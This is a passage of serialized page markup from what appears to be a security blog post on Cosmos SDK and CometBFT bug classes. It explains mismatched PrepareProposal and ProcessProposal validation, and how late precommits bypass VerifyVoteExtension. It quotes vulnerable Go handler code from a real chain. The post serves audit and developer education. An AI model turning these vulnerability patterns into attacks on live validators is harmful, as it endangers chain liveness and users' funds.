rops":82916,"children":82917},{"style":70},[82918],{"type":28,"value":970},{"type":23,"tag":41,"props":82920,"children":82921},{"style":858},[82922],{"type":28,"value":82923},"senderModule",{"type":23,"tag":41,"props":82925,"children":82926},{"style":94},[82927],{"type":28,"value":36024},{"type":23,"tag":41,"props":82929,"children":82930},{"style":70},[82931],{"type":28,"value":970},{"type":23,"tag":41,"props":82933,"children":82934},{"style":858},[82935],{"type":28,"value":82936},"recipientAddr",{"type":23,"tag":41,"props":82938,"children":82939},{"style":94},[82940],{"type":28,"value":78636},{"type":23,"tag":41,"props":82942,"children":82943},{"style":70},[82944],{"type":28,"value":706},{"type":23,"tag":41,"props":82946,"children":82947},{"style":94},[82948],{"type":28,"value":82622},{"type":23,"tag":41,"props":82950,"children":82951},{"style":70},[82952],{"type":28,"value":970},{"type":23,"tag":41,"props":82954,"children":82955},{"style":858},[82956],{"type":28,"value":82957},"amt",{"type":23,"tag":41,"props":82959,"children":82960},{"style":94},[82961],{"type":28,"value":78636},{"type":23,"tag":41,"props":82963,"children":82964},{"style":70},[82965],{"type":28,"value":706},{"type":23,"tag":41,"props":82967,"children":82968},{"style":94},[82969],{"type":28,"value":82970},"Coins",{"type":23,"tag":41,"props":82972,"children":82973},{"style":70},[82974],{"type":28,"value":3506},{"type":23,"tag":41,"props":82976,"children":82977},{"class":43,"line":76},[82978,82982,82986],{"type":23,"tag":41,"props":82979,"children":82980},{"style":70},[82981],{"type":28,"value":866},{"type":23,"tag":41,"props":82983,"children":82984},{"style":94},[82985],{"type":28,"value":14855},{"type":23,"tag":41,"props":82987,"children":82988},{"style":70},[82989],{"type":28,"value":102},{"type":23,"tag":41,"props":82991,"children":82992},{"class":43,"line":85},[82993],{"type":23,"tag":41,"props":82994,"children":82995},{"style":170},[82996],{"type":28,"value":82997}," ...\n",{"type":23,"tag":41,"props":82999,"children":83000},{"class":43,"line":105},[83001,83005,83009,83013,83017,83021,83025],{"type":23,"tag":41,"props":83002,"children":83003},{"style":58},[83004],{"type":28,"value":2536},{"type":23,"tag":41,"props":83006,"children":83007},{"style":858},[83008],{"type":28,"value":81251},{"type":23,"tag":41,"props":83010,"children":83011},{"style":70},[83012],{"type":28,"value":706},{"type":23,"tag":41,"props":83014,"children":83015},{"style":114},[83016],{"type":28,"value":81654},{"type":23,"tag":41,"props":83018,"children":83019},{"style":70},[83020],{"type":28,"value":1737},{"type":23,"tag":41,"props":83022,"children":83023},{"style":858},[83024],{"type":28,"value":82936},{"type":23,"tag":41,"props":83026,"children":83027},{"style":70},[83028],{"type":28,"value":152},{"type":23,"tag":41,"props":83030,"children":83031},{"class":43,"line":155},[83032,83036,83041,83045,83049,83053,83057,83061,83066,83070,83075,83079,83083],{"type":23,"tag":41,"props":83033,"children":83034},{"style":58},[83035],{"type":28,"value":39191},{"type":23,"tag":41,"props":83037,"children":83038},{"style":858},[83039],{"type":28,"value":83040}," errorsmod",{"type":23,"tag":41,"props":83042,"children":83043},{"style":70},[83044],{"type":28,"value":706},{"type":23,"tag":41,"props":83046,"children":83047},{"style":114},[83048],{"type":28,"value":80905},{"type":23,"tag":41,"props":83050,"children":83051},{"style":70},[83052],{"type":28,"value":1737},{"type":23,"tag":41,"props":83054,"children":83055},{"style":858},[83056],{"type":28,"value":80567},{"type":23,"tag":41,"props":83058,"children":83059},{"style":70},[83060],{"type":28,"value":706},{"type":23,"tag":41,"props":83062,"children":83063},{"style":858},[83064],{"type":28,"value":83065},"ErrUnauthorized",{"type":23,"tag":41,"props":83067,"children":83068},{"style":70},[83069],{"type":28,"value":970},{"type":23,"tag":41,"props":83071,"children":83072},{"style":735},[83073],{"type":28,"value":83074},"\"%s is not allowed to receive funds\"",{"type":23,"tag":41,"props":83076,"children":83077},{"style":70},[83078],{"type":28,"value":970},{"type":23,"tag":41,"props":83080,"children":83081},{"style":858},[83082],{"type":28,"value":82936},{"type":23,"tag":41,"props":83084,"children":83085},{"style":70},[83086],{"type":28,"value":1969},{"type":23,"tag":41,"props":83088,"children":83089},{"class":43,"line":186},[83090],{"type":23,"tag":41,"props":83091,"children":83092},{"style":70},[83093],{"type":28,"value":9594},{"type":23,"tag":41,"props":83095,"children":83096},{"class":43,"line":195},[83097],{"type":23,"tag":41,"props":83098,"children":83099},{"style":170},[83100],{"type":28,"value":82997},{"type":23,"tag":41,"props":83102,"children":83103},{"class":43,"line":905},[83104],{"type":23,"tag":41,"props":83105,"children":83106},{"style":70},[83107],{"type":28,"value":201},{"type":23,"tag":24,"props":83109,"children":83110},{},[83111,83113,83120],{"type":28,"value":83112},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":23,"tag":458,"props":83114,"children":83117},{"href":83115,"rel":83116},"https://hackerone.com/reports/3018307",[462],[83118],{"type":28,"value":83119},"improper decimal handling in the group module",{"type":28,"value":706},{"type":23,"tag":446,"props":83122,"children":83124},{"id":83123},"same-same-but-different",[83125],{"type":28,"value":83126},"Same, Same... But Different",{"type":23,"tag":24,"props":83128,"children":83129},{},[83130,83132,83138,83139,83145,83146,83152,83153,83159],{"type":28,"value":83131},"Cosmos exposes several consensus-level interfaces, such as ",{"type":23,"tag":37,"props":83133,"children":83135},{"className":83134},[],[83136],{"type":28,"value":83137},"PrepareProposal",{"type":28,"value":970},{"type":23,"tag":37,"props":83140,"children":83142},{"className":83141},[],[83143],{"type":28,"value":83144},"ProcessProposal",{"type":28,"value":970},{"type":23,"tag":37,"props":83147,"children":83149},{"className":83148},[],[83150],{"type":28,"value":83151},"ExtendVote",{"type":28,"value":6486},{"type":23,"tag":37,"props":83154,"children":83156},{"className":83155},[],[83157],{"type":28,"value":83158},"VerifyVoteExtension",{"type":28,"value":83160},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":23,"tag":24,"props":83162,"children":83163},{},[83164],{"type":28,"value":83165},"Two of the best-known attack surfaces are",{"type":23,"tag":5436,"props":83167,"children":83168},{},[83169,83198],{"type":23,"tag":421,"props":83170,"children":83171},{},[83172,83177,83178,83183,83185,83190,83191,83196],{"type":23,"tag":37,"props":83173,"children":83175},{"className":83174},[],[83176],{"type":28,"value":83137},{"type":28,"value":142},{"type":23,"tag":37,"props":83179,"children":83181},{"className":83180},[],[83182],{"type":28,"value":83151},{"type":28,"value":83184},") outputs being rejected due to ",{"type":23,"tag":37,"props":83186,"children":83188},{"className":83187},[],[83189],{"type":28,"value":83144},{"type":28,"value":142},{"type":23,"tag":37,"props":83192,"children":83194},{"className":83193},[],[83195],{"type":28,"value":83158},{"type":28,"value":83197},") over-validating, resulting in liveness failures.",{"type":23,"tag":421,"props":83199,"children":83200},{},[83201,83203,83208,83209,83214,83216,83221,83222,83227],{"type":28,"value":83202},"Malicious proposals and vote extensions not created through the ",{"type":23,"tag":37,"props":83204,"children":83206},{"className":83205},[],[83207],{"type":28,"value":83137},{"type":28,"value":142},{"type":23,"tag":37,"props":83210,"children":83212},{"className":83211},[],[83213],{"type":28,"value":83151},{"type":28,"value":83215},") are accepted due to ",{"type":23,"tag":37,"props":83217,"children":83219},{"className":83218},[],[83220],{"type":28,"value":83144},{"type":28,"value":142},{"type":23,"tag":37,"props":83223,"children":83225},{"className":83224},[],[83226],{"type":28,"value":83158},{"type":28,"value":83228},") under-validating.",{"type":23,"tag":24,"props":83230,"children":83231},{},[83232],{"type":28,"value":83233},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":23,"tag":24,"props":83235,"children":83236},{},[83237,83239,83245,83247,83252],{"type":28,"value":83238},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":23,"tag":37,"props":83240,"children":83242},{"className":83241},[],[83243],{"type":28,"value":83244},"VoteExtensions",{"type":28,"value":83246}," within ",{"type":23,"tag":37,"props":83248,"children":83250},{"className":83249},[],[83251],{"type":28,"value":83137},{"type":28,"value":83253},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":23,"tag":24,"props":83255,"children":83256},{},[83257,83259,83264,83266,83271],{"type":28,"value":83258},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":23,"tag":37,"props":83260,"children":83262},{"className":83261},[],[83263],{"type":28,"value":83151},{"type":28,"value":83265}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":23,"tag":37,"props":83267,"children":83269},{"className":83268},[],[83270],{"type":28,"value":83158},{"type":28,"value":83272},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":23,"tag":24,"props":83274,"children":83275},{},[83276,83278,83283],{"type":28,"value":83277},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":23,"tag":37,"props":83279,"children":83281},{"className":83280},[],[83282],{"type":28,"value":83158},{"type":28,"value":83284}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":23,"tag":24,"props":83286,"children":83287},{},[83288,83290,83295,83297,83303],{"type":28,"value":83289},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":23,"tag":37,"props":83291,"children":83293},{"className":83292},[],[83294],{"type":28,"value":83158},{"type":28,"value":83296},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":23,"tag":37,"props":83298,"children":83300},{"className":83299},[],[83301],{"type":28,"value":83302},"Proposal",{"type":28,"value":706},{"type":23,"tag":31,"props":83305,"children":83307},{"code":83306,"language":76159,"meta":7,"className":76160,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[83308],{"type":23,"tag":37,"props":83309,"children":83310},{"__ignoreMap":7},[83311,83423,83430,83437,83445,83453,83537,83544,83552,83606,83613,83634,83641,83713,83729,83736,83810,83866,83873,83935,83942,83949,83968,83975,83982,83989],{"type":23,"tag":41,"props":83312,"children":83313},{"class":43,"line":44},[83314,83318,83322,83327,83331,83336,83340,83345,83349,83354,83358,83362,83366,83371,83375,83380,83385,83389,83394,83398,83403,83407,83411,83415,83419],{"type":23,"tag":41,"props":83315,"children":83316},{"style":64},[83317],{"type":28,"value":76295},{"type":23,"tag":41,"props":83319,"children":83320},{"style":70},[83321],{"type":28,"value":142},{"type":23,"tag":41,"props":83323,"children":83324},{"style":858},[83325],{"type":28,"value":83326},"cs ",{"type":23,"tag":41,"props":83328,"children":83329},{"style":170},[83330],{"type":28,"value":377},{"type":23,"tag":41,"props":83332,"children":83333},{"style":94},[83334],{"type":28,"value":83335},"State",{"type":23,"tag":41,"props":83337,"children":83338},{"style":70},[83339],{"type":28,"value":866},{"type":23,"tag":41,"props":83341,"children":83342},{"style":114},[83343],{"type":28,"value":83344},"addVote",{"type":23,"tag":41,"props":83346,"children":83347},{"style":70},[83348],{"type":28,"value":1737},{"type":23,"tag":41,"props":83350,"children":83351},{"style":858},[83352],{"type":28,"value":83353},"vote",{"type":23,"tag":41,"props":83355,"children":83356},{"style":170},[83357],{"type":28,"value":9814},{"type":23,"tag":41,"props":83359,"children":83360},{"style":94},[83361],{"type":28,"value":5759},{"type":23,"tag":41,"props":83363,"children":83364},{"style":70},[83365],{"type":28,"value":706},{"type":23,"tag":41,"props":83367,"children":83368},{"style":94},[83369],{"type":28,"value":83370},"Vote",{"type":23,"tag":41,"props":83372,"children":83373},{"style":70},[83374],{"type":28,"value":970},{"type":23,"tag":41,"props":83376,"children":83377},{"style":858},[83378],{"type":28,"value":83379},"peerID",{"type":23,"tag":41,"props":83381,"children":83382},{"style":94},[83383],{"type":28,"value":83384}," p2p",{"type":23,"tag":41,"props":83386,"children":83387},{"style":70},[83388],{"type":28,"value":706},{"type":23,"tag":41,"props":83390,"children":83391},{"style":94},[83392],{"type":28,"value":83393},"ID",{"type":23,"tag":41,"props":83395,"children":83396},{"style":70},[83397],{"type":28,"value":76377},{"type":23,"tag":41,"props":83399,"children":83400},{"style":858},[83401],{"type":28,"value":83402},"added",{"type":23,"tag":41,"props":83404,"children":83405},{"style":94},[83406],{"type":28,"value":12047},{"type":23,"tag":41,"props":83408,"children":83409},{"style":70},[83410],{"type":28,"value":970},{"type":23,"tag":41,"props":83412,"children":83413},{"style":858},[83414],{"type":28,"value":48414},{"type":23,"tag":41,"props":83416,"children":83417},{"style":94},[83418],{"type":28,"value":14868},{"type":23,"tag":41,"props":83420,"children":83421},{"style":70},[83422],{"type":28,"value":152},{"type":23,"tag":41,"props":83424,"children":83425},{"class":43,"line":54},[83426],{"type":23,"tag":41,"props":83427,"children":83428},{"style":170},[83429],{"type":28,"value":1567},{"type":23,"tag":41,"props":83431,"children":83432},{"class":43,"line":76},[83433],{"type":23,"tag":41,"props":83434,"children":83435},{"emptyLinePlaceholder":18},[83436],{"type":28,"value":82},{"type":23,"tag":41,"props":83438,"children":83439},{"class":43,"line":85},[83440],{"type":23,"tag":41,"props":83441,"children":83442},{"style":48},[83443],{"type":28,"value":83444},"    // A precommit for the previous height?\n",{"type":23,"tag":41,"props":83446,"children":83447},{"class":43,"line":105},[83448],{"type":23,"tag":41,"props":83449,"children":83450},{"style":48},[83451],{"type":28,"value":83452},"    // These come in while we wait timeoutCommit\n",{"type":23,"tag":41,"props":83454,"children":83455},{"class":43,"line":155},[83456,83460,83465,83469,83474,83478,83482,83486,83491,83495,83499,83503,83507,83511,83516,83520,83524,83528,83533],{"type":23,"tag":41,"props":83457,"children":83458},{"style":58},[83459],{"type":28,"value":2440},{"type":23,"tag":41,"props":83461,"children":83462},{"style":858},[83463],{"type":28,"value":83464}," vote",{"type":23,"tag":41,"props":83466,"children":83467},{"style":70},[83468],{"type":28,"value":706},{"type":23,"tag":41,"props":83470,"children":83471},{"style":858},[83472],{"type":28,"value":83473},"Height",{"type":23,"tag":41,"props":83475,"children":83476},{"style":170},[83477],{"type":28,"value":4383},{"type":23,"tag":41,"props":83479,"children":83480},{"style":164},[83481],{"type":28,"value":317},{"type":23,"tag":41,"props":83483,"children":83484},{"style":170},[83485],{"type":28,"value":3282},{"type":23,"tag":41,"props":83487,"children":83488},{"style":858},[83489],{"type":28,"value":83490}," cs",{"type":23,"tag":41,"props":83492,"children":83493},{"style":70},[83494],{"type":28,"value":706},{"type":23,"tag":41,"props":83496,"children":83497},{"style":858},[83498],{"type":28,"value":83473},{"type":23,"tag":41,"props":83500,"children":83501},{"style":170},[83502],{"type":28,"value":2472},{"type":23,"tag":41,"props":83504,"children":83505},{"style":858},[83506],{"type":28,"value":83464},{"type":23,"tag":41,"props":83508,"children":83509},{"style":70},[83510],{"type":28,"value":706},{"type":23,"tag":41,"props":83512,"children":83513},{"style":858},[83514],{"type":28,"value":83515},"Type",{"type":23,"tag":41,"props":83517,"children":83518},{"style":170},[83519],{"type":28,"value":3282},{"type":23,"tag":41,"props":83521,"children":83522},{"style":858},[83523],{"type":28,"value":78170},{"type":23,"tag":41,"props":83525,"children":83526},{"style":70},[83527],{"type":28,"value":706},{"type":23,"tag":41,"props":83529,"children":83530},{"style":858},[83531],{"type":28,"value":83532},"PrecommitType",{"type":23,"tag":41,"props":83534,"children":83535},{"style":70},[83536],{"type":28,"value":102},{"type":23,"tag":41,"props":83538,"children":83539},{"class":43,"line":186},[83540],{"type":23,"tag":41,"props":83541,"children":83542},{"style":170},[83543],{"type":28,"value":2523},{"type":23,"tag":41,"props":83545,"children":83546},{"class":43,"line":195},[83547],{"type":23,"tag":41,"props":83548,"children":83549},{"style":48},[83550],{"type":28,"value":83551},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":23,"tag":41,"props":83553,"children":83554},{"class":43,"line":905},[83555,83560,83564,83568,83572,83576,83580,83585,83589,83594,83598,83602],{"type":23,"tag":41,"props":83556,"children":83557},{"style":858},[83558],{"type":28,"value":83559},"        added",{"type":23,"tag":41,"props":83561,"children":83562},{"style":70},[83563],{"type":28,"value":970},{"type":23,"tag":41,"props":83565,"children":83566},{"style":858},[83567],{"type":28,"value":48414},{"type":23,"tag":41,"props":83569,"children":83570},{"style":170},[83571],{"type":28,"value":3017},{"type":23,"tag":41,"props":83573,"children":83574},{"style":858},[83575],{"type":28,"value":83490},{"type":23,"tag":41,"props":83577,"children":83578},{"style":70},[83579],{"type":28,"value":706},{"type":23,"tag":41,"props":83581,"children":83582},{"style":858},[83583],{"type":28,"value":83584},"LastCommit",{"type":23,"tag":41,"props":83586,"children":83587},{"style":70},[83588],{"type":28,"value":706},{"type":23,"tag":41,"props":83590,"children":83591},{"style":114},[83592],{"type":28,"value":83593},"AddVote",{"type":23,"tag":41,"props":83595,"children":83596},{"style":70},[83597],{"type":28,"value":1737},{"type":23,"tag":41,"props":83599,"children":83600},{"style":858},[83601],{"type":28,"value":83353},{"type":23,"tag":41,"props":83603,"children":83604},{"style":70},[83605],{"type":28,"value":1969},{"type":23,"tag":41,"props":83607,"children":83608},{"class":43,"line":922},[83609],{"type":23,"tag":41,"props":83610,"children":83611},{"style":170},[83612],{"type":28,"value":2523},{"type":23,"tag":41,"props":83614,"children":83615},{"class":43,"line":930},[83616,83620,83625,83629],{"type":23,"tag":41,"props":83617,"children":83618},{"style":58},[83619],{"type":28,"value":161},{"type":23,"tag":41,"props":83621,"children":83622},{"style":858},[83623],{"type":28,"value":83624}," added",{"type":23,"tag":41,"props":83626,"children":83627},{"style":70},[83628],{"type":28,"value":970},{"type":23,"tag":41,"props":83630,"children":83631},{"style":858},[83632],{"type":28,"value":83633},"err\n",{"type":23,"tag":41,"props":83635,"children":83636},{"class":43,"line":939},[83637],{"type":23,"tag":41,"props":83638,"children":83639},{"style":70},[83640],{"type":28,"value":192},{"type":23,"tag":41,"props":83642,"children":83643},{"class":43,"line":947},[83644,83649,83653,83657,83661,83666,83670,83675,83679,83684,83688,83693,83697,83701,83705,83709],{"type":23,"tag":41,"props":83645,"children":83646},{"style":858},[83647],{"type":28,"value":83648},"    extEnabled",{"type":23,"tag":41,"props":83650,"children":83651},{"style":170},[83652],{"type":28,"value":76411},{"type":23,"tag":41,"props":83654,"children":83655},{"style":858},[83656],{"type":28,"value":83490},{"type":23,"tag":41,"props":83658,"children":83659},{"style":70},[83660],{"type":28,"value":706},{"type":23,"tag":41,"props":83662,"children":83663},{"style":858},[83664],{"type":28,"value":83665},"state",{"type":23,"tag":41,"props":83667,"children":83668},{"style":70},[83669],{"type":28,"value":706},{"type":23,"tag":41,"props":83671,"children":83672},{"style":858},[83673],{"type":28,"value":83674},"ConsensusParams",{"type":23,"tag":41,"props":83676,"children":83677},{"style":70},[83678],{"type":28,"value":706},{"type":23,"tag":41,"props":83680,"children":83681},{"style":858},[83682],{"type":28,"value":83683},"Feature",{"type":23,"tag":41,"props":83685,"children":83686},{"style":70},[83687],{"type":28,"value":706},{"type":23,"tag":41,"props":83689,"children":83690},{"style":114},[83691],{"type":28,"value":83692},"VoteExtensionsEnabled",{"type":23,"tag":41,"props":83694,"children":83695},{"style":70},[83696],{"type":28,"value":1737},{"type":23,"tag":41,"props":83698,"children":83699},{"style":858},[83700],{"type":28,"value":83353},{"type":23,"tag":41,"props":83702,"children":83703},{"style":70},[83704],{"type":28,"value":706},{"type":23,"tag":41,"props":83706,"children":83707},{"style":858},[83708],{"type":28,"value":83473},{"type":23,"tag":41,"props":83710,"children":83711},{"style":70},[83712],{"type":28,"value":1969},{"type":23,"tag":41,"props":83714,"children":83715},{"class":43,"line":985},[83716,83720,83725],{"type":23,"tag":41,"props":83717,"children":83718},{"style":58},[83719],{"type":28,"value":2440},{"type":23,"tag":41,"props":83721,"children":83722},{"style":858},[83723],{"type":28,"value":83724}," extEnabled",{"type":23,"tag":41,"props":83726,"children":83727},{"style":70},[83728],{"type":28,"value":102},{"type":23,"tag":41,"props":83730,"children":83731},{"class":43,"line":1058},[83732],{"type":23,"tag":41,"props":83733,"children":83734},{"style":170},[83735],{"type":28,"value":2523},{"type":23,"tag":41,"props":83737,"children":83738},{"class":43,"line":1084},[83739,83743,83747,83751,83755,83759,83763,83767,83771,83775,83779,83783,83787,83792,83796,83801,83805],{"type":23,"tag":41,"props":83740,"children":83741},{"style":58},[83742],{"type":28,"value":3272},{"type":23,"tag":41,"props":83744,"children":83745},{"style":858},[83746],{"type":28,"value":83464},{"type":23,"tag":41,"props":83748,"children":83749},{"style":70},[83750],{"type":28,"value":706},{"type":23,"tag":41,"props":83752,"children":83753},{"style":858},[83754],{"type":28,"value":83515},{"type":23,"tag":41,"props":83756,"children":83757},{"style":170},[83758],{"type":28,"value":3282},{"type":23,"tag":41,"props":83760,"children":83761},{"style":858},[83762],{"type":28,"value":78170},{"type":23,"tag":41,"props":83764,"children":83765},{"style":70},[83766],{"type":28,"value":706},{"type":23,"tag":41,"props":83768,"children":83769},{"style":858},[83770],{"type":28,"value":83532},{"type":23,"tag":41,"props":83772,"children":83773},{"style":170},[83774],{"type":28,"value":2472},{"type":23,"tag":41,"props":83776,"children":83777},{"style":170},[83778],{"type":28,"value":12859},{"type":23,"tag":41,"props":83780,"children":83781},{"style":858},[83782],{"type":28,"value":83353},{"type":23,"tag":41,"props":83784,"children":83785},{"style":70},[83786],{"type":28,"value":706},{"type":23,"tag":41,"props":83788,"children":83789},{"style":858},[83790],{"type":28,"value":83791},"BlockID",{"type":23,"tag":41,"props":83793,"children":83794},{"style":70},[83795],{"type":28,"value":706},{"type":23,"tag":41,"props":83797,"children":83798},{"style":114},[83799],{"type":28,"value":83800},"IsNil",{"type":23,"tag":41,"props":83802,"children":83803},{"style":70},[83804],{"type":28,"value":122},{"type":23,"tag":41,"props":83806,"children":83807},{"style":170},[83808],{"type":28,"value":83809},"&&\n",{"type":23,"tag":41,"props":83811,"children":83812},{"class":43,"line":1102},[83813,83818,83823,83827,83831,83835,83839,83843,83848,83852,83857,83861],{"type":23,"tag":41,"props":83814,"children":83815},{"style":170},[83816],{"type":28,"value":83817},"            !",{"type":23,"tag":41,"props":83819,"children":83820},{"style":858},[83821],{"type":28,"value":83822},"bytes",{"type":23,"tag":41,"props":83824,"children":83825},{"style":70},[83826],{"type":28,"value":706},{"type":23,"tag":41,"props":83828,"children":83829},{"style":114},[83830],{"type":28,"value":82292},{"type":23,"tag":41,"props":83832,"children":83833},{"style":70},[83834],{"type":28,"value":1737},{"type":23,"tag":41,"props":83836,"children":83837},{"style":858},[83838],{"type":28,"value":83353},{"type":23,"tag":41,"props":83840,"children":83841},{"style":70},[83842],{"type":28,"value":706},{"type":23,"tag":41,"props":83844,"children":83845},{"style":858},[83846],{"type":28,"value":83847},"ValidatorAddress",{"type":23,"tag":41,"props":83849,"children":83850},{"style":70},[83851],{"type":28,"value":970},{"type":23,"tag":41,"props":83853,"children":83854},{"style":858},[83855],{"type":28,"value":83856},"myAddr",{"type":23,"tag":41,"props":83858,"children":83859},{"style":70},[83860],{"type":28,"value":23987},{"type":23,"tag":41,"props":83862,"children":83863},{"style":48},[83864],{"type":28,"value":83865},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":23,"tag":41,"props":83867,"children":83868},{"class":43,"line":1110},[83869],{"type":23,"tag":41,"props":83870,"children":83871},{"style":170},[83872],{"type":28,"value":82512},{"type":23,"tag":41,"props":83874,"children":83875},{"class":43,"line":1118},[83876,83880,83884,83888,83892,83897,83901,83905,83909,83914,83918,83923,83927,83931],{"type":23,"tag":41,"props":83877,"children":83878},{"style":858},[83879],{"type":28,"value":82330},{"type":23,"tag":41,"props":83881,"children":83882},{"style":170},[83883],{"type":28,"value":76411},{"type":23,"tag":41,"props":83885,"children":83886},{"style":858},[83887],{"type":28,"value":83490},{"type":23,"tag":41,"props":83889,"children":83890},{"style":70},[83891],{"type":28,"value":706},{"type":23,"tag":41,"props":83893,"children":83894},{"style":858},[83895],{"type":28,"value":83896},"blockExec",{"type":23,"tag":41,"props":83898,"children":83899},{"style":70},[83900],{"type":28,"value":706},{"type":23,"tag":41,"props":83902,"children":83903},{"style":114},[83904],{"type":28,"value":83158},{"type":23,"tag":41,"props":83906,"children":83907},{"style":70},[83908],{"type":28,"value":1737},{"type":23,"tag":41,"props":83910,"children":83911},{"style":858},[83912],{"type":28,"value":83913},"context",{"type":23,"tag":41,"props":83915,"children":83916},{"style":70},[83917],{"type":28,"value":706},{"type":23,"tag":41,"props":83919,"children":83920},{"style":114},[83921],{"type":28,"value":83922},"TODO",{"type":23,"tag":41,"props":83924,"children":83925},{"style":70},[83926],{"type":28,"value":18363},{"type":23,"tag":41,"props":83928,"children":83929},{"style":858},[83930],{"type":28,"value":83353},{"type":23,"tag":41,"props":83932,"children":83933},{"style":70},[83934],{"type":28,"value":1969},{"type":23,"tag":41,"props":83936,"children":83937},{"class":43,"line":1137},[83938],{"type":23,"tag":41,"props":83939,"children":83940},{"style":170},[83941],{"type":28,"value":82512},{"type":23,"tag":41,"props":83943,"children":83944},{"class":43,"line":1163},[83945],{"type":23,"tag":41,"props":83946,"children":83947},{"style":70},[83948],{"type":28,"value":3347},{"type":23,"tag":41,"props":83950,"children":83951},{"class":43,"line":1188},[83952,83956,83960,83964],{"type":23,"tag":41,"props":83953,"children":83954},{"style":70},[83955],{"type":28,"value":15768},{"type":23,"tag":41,"props":83957,"children":83958},{"style":58},[83959],{"type":28,"value":3315},{"type":23,"tag":41,"props":83961,"children":83962},{"style":58},[83963],{"type":28,"value":2536},{"type":23,"tag":41,"props":83965,"children":83966},{"style":70},[83967],{"type":28,"value":102},{"type":23,"tag":41,"props":83969,"children":83970},{"class":43,"line":1979},[83971],{"type":23,"tag":41,"props":83972,"children":83973},{"style":170},[83974],{"type":28,"value":2523},{"type":23,"tag":41,"props":83976,"children":83977},{"class":43,"line":2002},[83978],{"type":23,"tag":41,"props":83979,"children":83980},{"style":70},[83981],{"type":28,"value":192},{"type":23,"tag":41,"props":83983,"children":83984},{"class":43,"line":3835},[83985],{"type":23,"tag":41,"props":83986,"children":83987},{"style":170},[83988],{"type":28,"value":1567},{"type":23,"tag":41,"props":83990,"children":83991},{"class":43,"line":3895},[83992],{"type":23,"tag":41,"props":83993,"children":83994},{"style":70},[83995],{"type":28,"value":201},{"type":23,"tag":24,"props":83997,"children":83998},{},[83999],{"type":28,"value":84000},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":23,"tag":546,"props":84002,"children":84004},{"id":84003},"real-world-examples-4",[84005],{"type":28,"value":76684},{"type":23,"tag":24,"props":84007,"children":84008},{},[84009,84011,84016,84018,84024,84026,84032],{"type":28,"value":84010},"An example of the bug we just described is shown here. ",{"type":23,"tag":37,"props":84012,"children":84014},{"className":84013},[],[84015],{"type":28,"value":83137},{"type":28,"value":84017}," only checks that each vote is properly signed by a validator in ",{"type":23,"tag":37,"props":84019,"children":84021},{"className":84020},[],[84022],{"type":28,"value":84023},"ValidateVoteExtension",{"type":28,"value":84025}," but does not verify it against the rules in ",{"type":23,"tag":37,"props":84027,"children":84029},{"className":84028},[],[84030],{"type":28,"value":84031},"VerifyVoteExtention.",{"type":28,"value":84033}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":23,"tag":24,"props":84035,"children":84036},{},[84037],{"type":23,"tag":458,"props":84038,"children":84041},{"href":84039,"rel":84040},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[462],[84042],{"type":28,"value":76734},{"type":23,"tag":31,"props":84044,"children":84046},{"code":84045,"language":76159,"meta":7,"className":76160,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    